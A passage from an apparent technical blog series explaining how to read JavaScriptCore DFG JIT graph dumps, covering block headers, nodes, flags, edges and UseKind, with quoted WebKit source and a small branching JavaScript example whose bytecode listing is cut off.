<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Predecessors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Successors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Vars Before: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Intersected Vars Before: arg1:(FullTop, TOP, TOP, none:StructuresAreClobbered) arg0:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc0:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc1:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc2:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc3:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc4:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc5:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc6:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc7:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc8:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc9:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc10:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc11:(FullTop, TOP, TOP, none:StructuresAreClobbered)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Var Links: 
</span></span></code></pre></div><p>The <code>Vars Before</code> list in the Block Head represents a list of <a href="https://github.com/WebKit/WebKit/blob/2106aa59a618edb900a1d34240abdb344ce43297/Source/JavaScriptCore/dfg/DFGBasicBlock.h#L211">values at the head</a>. This list is populated after the <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/#control-flow-analysis">CFA optimisation phase</a> and contains a list of <code>AbstractValue</code>s that were recorded at the start of the block. <code>AbstractValues</code> are speculated values that are inferred by the <em>Abstract Interpreter</em></p>
<p>The <code>Intersected Vars Before</code> list is an intersection of assumptions we have made previously at the head of this block and assumptions we had used for optimizing the given basic block. Each operand (i.e. <em>args</em> and <em>locs</em>) is represented by a tuple of four values. The first value (e.g. <code>FullTop</code>) represents the speculated type of the argument or local variable. Since this is the graph generated after parsing the bytecodes, it hasn&rsquo;t been optimised yet to include predicted values. The second and third value in the tuple (e.g. <code>TOP</code>) represent the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGAbstractHeap.h"><code>AbstractHeap::Payload</code></a>, more on this will be covered in <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/">Part IV</a> which is dedicated to graph optimisation. The final value in the tuple represents the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGStructureClobberState.h">ClobberState</a> of the structure which can be one of two values:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">enum</span> <span style="color:#a6e22e">StructureClobberState</span> <span style="color:#f92672">:</span> <span style="color:#66d9ef">uint8_t</span> {
</span></span><span style="display:flex;"><span>    StructuresAreWatched, <span style="color:#75715e">// Constants with watchable structures must have those structures.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    StructuresAreClobbered <span style="color:#75715e">// Constants with watchable structures could have any structure.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>};
</span></span></code></pre></div><p>The <code>Var Links</code> list in the block head refer to the list of <a href="https://github.com/WebKit/WebKit/blob/2106aa59a618edb900a1d34240abdb344ce43297/Source/JavaScriptCore/dfg/DFGBasicBlock.h#L208">variables at head</a>. This list maps arguments, locals and temporary variable to nodes in the various blocks of the DFG.</p>
<p>Note: The term <code>variable</code> and <code>operand</code> are used interchangeably in the context of the DFG IR. These should not be confused with JS variables defined in the example script.</p>
<p><code>Predecessors</code> and <code>Successors</code> define the basic blocks that allow control and data to flow from and to the current block (in this instance the current block is <code>Block #0</code>). Since the bytecodes generated for the program above don&rsquo;t include any branching opcodes (e.g. comparison operators, loops, etc) the values of <code>Predecessor</code> and <code>Successors</code> are empty. Examples of branching code will be demonstrated in sections to follow.</p>
<h2 id="block-body">Block Body</h2>
<p>Now that we&rsquo;ve reviewed the header, lets look into node representation. The <a href="https://github.com/WebKit/WebKit/blob/aff466c0fdf667085b6f578a0e8519c03fc2cfa4/Source/JavaScriptCore/dfg/DFGGraph.cpp#L185">developer comments</a> provide a very helpful explanation on how to read this representation. This is shown in the code listing below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>// Example/explanation of dataflow dump output
</span></span><span style="display:flex;"><span>//
</span></span><span style="display:flex;"><span>//   D@14:   &lt;!2:7&gt;  GetByVal<span style="color:#f92672">(</span>@3, @13<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>//     ^1     ^2 ^3     ^4       ^5
</span></span><span style="display:flex;"><span>//
</span></span><span style="display:flex;"><span>// <span style="color:#f92672">(</span>1<span style="color:#f92672">)</span> The nodeIndex of this operation.
</span></span><span style="display:flex;"><span>// <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span> The reference count. The number printed is the <span style="color:#e6db74">&#39;real&#39;</span> count,
</span></span><span style="display:flex;"><span>//     not including the <span style="color:#e6db74">&#39;mustGenerate&#39;</span> ref. If the node is
</span></span><span style="display:flex;"><span>//     <span style="color:#e6db74">&#39;mustGenerate&#39;</span> <span style="color:#66d9ef">then</span> the count it prefixed with <span style="color:#e6db74">&#39;!&#39;</span>.
</span></span><span style="display:flex;"><span>// <span style="color:#f92672">(</span>3<span style="color:#f92672">)</span> The virtual register slot assigned to this node.
</span></span><span style="display:flex;"><span>// <span style="color:#f92672">(</span>4<span style="color:#f92672">)</span> The name of the operation.
</span></span><span style="display:flex;"><span>// <span style="color:#f92672">(</span>5<span style="color:#f92672">)</span> The arguments to the operation. The may be of the form:
</span></span><span style="display:flex;"><span>//         D@#  - a NodeIndex referencing a prior node in the graph.
</span></span><span style="display:flex;"><span>//         arg# - an argument number.
</span></span><span style="display:flex;"><span>//         id#  - the index in the CodeBlock of an identifier <span style="color:#f92672">{</span> <span style="color:#66d9ef">if</span> codeBlock is passed to dump<span style="color:#f92672">()</span>, the string representation is displayed <span style="color:#f92672">}</span>.
</span></span><span style="display:flex;"><span>//         var# - the index of a var on the global object, used by GetGlobalVar/GetGlobalLexicalVariable/PutGlobalVariable operations.
</span></span></code></pre></div><h3 id="nodes">Nodes</h3>
<p>Let&rsquo;s look at the nodes generated for the <code>add</code> opcode in bytecode <code>bc#85</code> from the graph dump above:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span> <span style="color:#ae81ff">87</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>  CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed99440</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">88</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">88</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>  ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">84</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">40</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">89</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">89</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>  MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">88</span>, MustGen, loc8, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitInvalid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">90</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">90</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>  SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">88</span>, loc8(W<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc8), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">91</span>, ExitValid)  predicting None
</span></span></code></pre></div><p>The column on the left indicates the node index followed by BasicBlock index. The values of the form <code>D@&lt;number&gt;</code> represent the Node. Let&rsquo;s examine the following node:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#ae81ff">87</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>  CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed99440</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitValid)
</span></span></code></pre></div><p><code>D@87</code> represents the 87th Node in the block <code>#0</code>. The expression <code>!0</code> indicates that the Node must be generated and has a reference count of zero and the <code>-</code> in <code>&lt;!0:-&gt;</code> indicates that there isn&rsquo;t a virtual register that&rsquo;s assigned to the node. Reference counts and spill registers will become more relevant during the discussion on graph optimisation covered in <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/">Part IV</a>.</p>
<p>The DFG opcode or node type is <code>CountExecution</code>. The <code>NodeType</code> defines the DFG operation performed by the node itself. Various <code>NodeTypes</code> are defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGNodeType.h">dfg/DFGNodeType.h</a> along with helpful comments on their functions. The <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGNodeType.h#L35">snippet below</a> shows some of the <code>NodeTypes</code> that can be defined:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">#define FOR_EACH_DFG_OP(macro) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* A constant in the CodeBlock&#39;s constant pool. */</span><span style="color:#75715e">\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    macro(JSConstant, NodeResultJS) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* Constants with specific representations. */</span><span style="color:#75715e">\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    macro(DoubleConstant, NodeResultDouble) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    macro(Int52Constant, NodeResultInt52) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* Lazy JSValue constant. We don&#39;t know the JSValue bits of it yet. */</span><span style="color:#75715e">\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    macro(LazyJSConstant, NodeResultJS) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* Marker to indicate that an operation was optimized entirely and all that is left */</span><span style="color:#75715e">\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* is to make one node alias another. CSE will later usually eliminate this node, */</span><span style="color:#75715e">\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* though it may choose not to if it would corrupt predictions (very rare). */</span><span style="color:#75715e">\
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    macro(Identity, NodeResultJS) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    </span><span style="color:#75715e">/* Used for debugging to force a profile to appear as anything we want. */</span><span style="color:#75715e"> \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>The DFG opcode is followed by the node flags which is this case is <code>MustGen</code>. <code>NodeFlags</code> help define properties of the result from node computation. These flags are defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGNodeFlags.h">dfg/DFGNodeFlags.h</a>.</p>
<p>Tip: Another useful source to learn more about <code>NodeTypes</code> and <code>NodeFlags</code> is to grep through the several changelogs in the WebKit repo. The developer comments in the changelog provide helpful insight on nodes and their functionality within the graph.</p>
<p><code>Node</code>s also define operands which are represented by the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGOpInfo.h"><code>OpInfo</code></a> structure. The developer comments describes the structure as follows:</p>
<blockquote>
<p>This type used in passing an immediate argument to Node constructor;
distinguishes an immediate value (typically an index into a CodeBlock data structure -
a constant index, argument, or identifier) from a Node*.</p>
</blockquote>
<p>In the snippet above the value <code>0x7fffeed99440</code> is the raw pointer to the execution counter which is stored as an immediate value.</p>
<p>The <code>R</code> and <code>W</code> values determine what parts of the program state (i.e. <em>Abstract Heaps</em>) the node can read and write to. This is defined by the function <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGClobberize.h#L49"><code>clobberize</code></a> which records aliasing information about a Node. <code>clobberize</code> is described in great detail in the WebKit blog<sup id="fnref1:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p>The value <code>bc#85</code> indicates the bytecode index for which the node was generated for and is known as the <code>NodeOrigin</code>. This bytecode index is also the exit bytecode for the node unless an explicit exit bytecode is specified. The last value in the snippet above is <code>ExitValid</code> which indicates if the node is a valid point for OSR exit to occur. These three values define the <code>NodeOrigin</code> which are defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGNodeOrigin.h">dfg/DFGNodeOrigin.h</a> and describe <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGNodeOrigin.h#L41">three properties of the Node</a>.</p>
<h3 id="edges">Edges</h3>
<p>Let&rsquo;s now examine a node with <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGEdge.h"><code>Edge</code></a>s form the nodes generated for the <code>add</code> opcode:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span> <span style="color:#ae81ff">88</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">88</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>  ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">84</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">40</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitValid)
</span></span></code></pre></div><p>Here the DFG node <code>D@88</code> defines part of the <code>add</code> operation. <code>ValueAdd</code> has edges to two child nodes, <code>D@84</code> and <code>D@40</code> on which it performs an <em>addition operation</em>. It isn&rsquo;t specified what type of addition operation will be performed (e.g. arithmetic addition, string concatenation, etc.) on these two nodes and as a result, the DFG will add <code>Check</code> flags to these nodes. The value <code>Check</code> indicates that the edge is unproven for the edge type, which is described by the value <code>Untyped</code>. The value <code>D@84</code> and <code>D@40</code> are child nodes associated with the edges from the <code>ValueAdd</code> node. The constructor of an <code>Edge</code> object is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">explicit</span> <span style="color:#a6e22e">Edge</span>(Node<span style="color:#f92672">*</span> node <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>, UseKind useKind <span style="color:#f92672">=</span> UntypedUse, ProofStatus proofStatus <span style="color:#f92672">=</span> NeedsCheck, KillStatus killStatus <span style="color:#f92672">=</span> DoesNotKill)
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">:</span> m_encodedWord(makeWord(node, useKind, proofStatus, killStatus))
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>The constructor takes four parameters and generates an <code>encodedWord</code> to represent an edge in the graph. The <code>node</code> represents the child node that the parent links to, the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGUseKind.h"><code>UseKind</code></a> parameter determines the representation of values used by the DFG IR. Essentially, the <code>UseKind</code> defines the type of Edge and determines the value type that is being propagated from one node to the other. The DFG has three value types that it uses which are all defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGUseKind.h">dfg/DFGUseKind.h</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">// The DFG has 3 representations of values used:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 1. The JSValue representation for a JSValue that must be stored in a GP
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//    register (or a GP register pair), and follows rules for boxing and unboxing
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//    that allow the JSValue to be stored as either fully boxed JSValues, or
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//    unboxed Int32, Booleans, Cells, etc. in 32-bit as appropriate.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    UntypedUse, <span style="color:#75715e">// UntypedUse must come first (value 0).
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    Int32Use,
</span></span><span style="display:flex;"><span>    KnownInt32Use,
</span></span><span style="display:flex;"><span>    AnyIntUse,
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 2. The Double representation for an unboxed double value that must be stored
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//    in an FP register.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    DoubleRepUse,
</span></span><span style="display:flex;"><span>    DoubleRepRealUse,
</span></span><span style="display:flex;"><span>    DoubleRepAnyIntUse,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 3. The Int52 representation for an unboxed integer value that must be stored
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//    in a GP register.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    Int52RepUse,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    LastUseKind <span style="color:#75715e">// Must always be the last entry in the enum, as it is used to denote the number of enum elements.
</span></span></span></code></pre></div><p>One can inspect the Edge properties in more detail by setting a breakpoint at <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGEdge.cpp#L35"><code>Edge::dump</code></a> and stepping through the function as it dumps edge data. The last two parameters that define an edge are <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCommon.h#L227"><code>ProofStatus</code></a> and <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCommon.h#L240"><code>KillStatus</code></a> parameters indicate if a edge needs to be proved and if a node will be killed. These two properties of an edge will be revisited in <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/">Part IV</a> on graph optimisation. Edges are bidirectional with DFG values flowing from parent to child nodes and execution control flowing from child nodes to parent nodes.</p>
<h2 id="block-tail">Block Tail</h2>
<p>The block dump also includes details about <code>State</code>, <code>Vars After</code> and <code>Var Links</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   States: InvalidBranchDirection, StructuresAreWatched
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Vars After: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Var Links: arg2:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">35</span> arg1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">36</span> arg0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">37</span> loc0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">6</span> loc1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">8</span> loc2:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">10</span> loc3:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">12</span> loc4:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">21</span> loc5:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">24</span>
</span></span></code></pre></div><p>The <code>Vars After</code> list represents the <a href="https://github.com/WebKit/WebKit/blob/2106aa59a618edb900a1d34240abdb344ce43297/Source/JavaScriptCore/dfg/DFGBasicBlock.h#L212">values at tail</a> for the block. This is a list of <code>AbstractValue</code>s that are collected by the <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/#control-flow-analysis"><em>Abstract Interpreter</em> after CFA</a>.</p>
<p><code>Var Links</code> is a list of <a href="https://github.com/WebKit/WebKit/blob/2106aa59a618edb900a1d34240abdb344ce43297/Source/JavaScriptCore/dfg/DFGBasicBlock.h#L209">variables at the end</a> of the block. The <em>links</em> represent a mapping between DFG node and variable that helps the OSR Exit generator identify the node it would need to look up in order to reconstruct the state of the variable. More on this in the <a href="/posts/jsc-part5-the-dfg-jit-osr/#osr-exit"><em>OSR Exit</em></a> blog post.</p>
<h2 id="graph-footer">Graph Footer</h2>
<p>At the end of our graph dump lists the <code>GC Values</code> which is a list of references the CodeBlock has to objects on the heap. This instance lists references to four JSC Objects, two of which are defined in our JS script (i.e. <code>arr</code> and <code>obj</code>). The footer also prints information about the various <code>Watchpoints</code> and a list of structures associated with the CodeBlock.</p>
<h1 id="branching-instructions">Branching Instructions</h1>
<p>Let&rsquo;s now look at an example of a program that generates branches:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">num</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">num</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">arr</span>[<span style="color:#a6e22e">num</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">num</span>;
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">sum</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">num</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">arr</span> <span style="color:#f92672">=</span> [];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">sum</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The program above generates the following bytecodes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DFCAbp</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">BaselineFunctionCall</span>, <span style="color:#ae81ff">72</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">16</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">192</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">2</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">10</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
